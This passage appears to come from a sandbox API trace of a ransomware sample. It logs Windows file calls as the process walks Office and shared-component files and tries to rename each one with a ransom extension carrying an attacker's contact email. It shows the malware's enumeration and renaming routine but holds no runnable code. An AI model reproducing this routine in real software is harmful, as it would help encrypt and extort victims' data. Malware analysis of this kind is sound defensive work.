returned 1 [0228.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0228.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0228.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0228.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0228.227] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0228.227] CloseHandle (hObject=0x1d4) returned 1 [0228.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0228.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0228.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0228.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.861] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0229.861] CloseHandle (hObject=0x1c8) returned 1 [0229.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0229.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0229.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.863] SetEvent (hEvent=0x118) returned 1 [0229.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.864] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=419232) returned 1 [0229.865] CloseHandle (hObject=0x1c8) returned 1 [0229.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 0x20 [0229.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 0x20 [0229.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.869] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=26624) returned 1 [0229.869] CloseHandle (hObject=0x1c8) returned 1 [0229.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0229.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0229.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.872] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=378880) returned 1 [0229.872] CloseHandle (hObject=0x1c8) returned 1 [0229.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0229.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0229.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.880] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=198056) returned 1 [0229.880] CloseHandle (hObject=0x1c8) returned 1 [0229.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0229.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0229.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.882] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=52656) returned 1 [0229.882] CloseHandle (hObject=0x1c8) returned 1 [0229.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0229.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0229.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.884] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=20944) returned 1 [0229.885] CloseHandle (hObject=0x1c8) returned 1 [0229.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0229.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0229.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.888] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=862608) returned 1 [0229.888] CloseHandle (hObject=0x1c8) returned 1 [0229.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0229.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0229.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.890] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1680383) returned 1 [0229.891] CloseHandle (hObject=0x1c8) returned 1 [0229.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm")) returned 0x20 [0229.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0229.892] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm")) returned 0 [0229.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.893] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=154448) returned 1 [0229.894] CloseHandle (hObject=0x1c8) returned 1 [0229.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0229.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0229.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0229.966] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2528128) returned 1 [0231.406] CloseHandle (hObject=0x1d0) returned 1 [0231.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0231.406] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0231.407] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0 [0231.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0231.408] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=342960) returned 1 [0231.408] CloseHandle (hObject=0x1d0) returned 1 [0231.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0231.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0231.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0231.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0231.856] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=15800) returned 1 [0231.857] CloseHandle (hObject=0x1e0) returned 1 [0231.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0231.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0231.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0231.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.858] SetEvent (hEvent=0x118) returned 1 [0231.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0231.860] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=15800) returned 1 [0231.860] CloseHandle (hObject=0x1e0) returned 1 [0231.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0231.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0231.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program 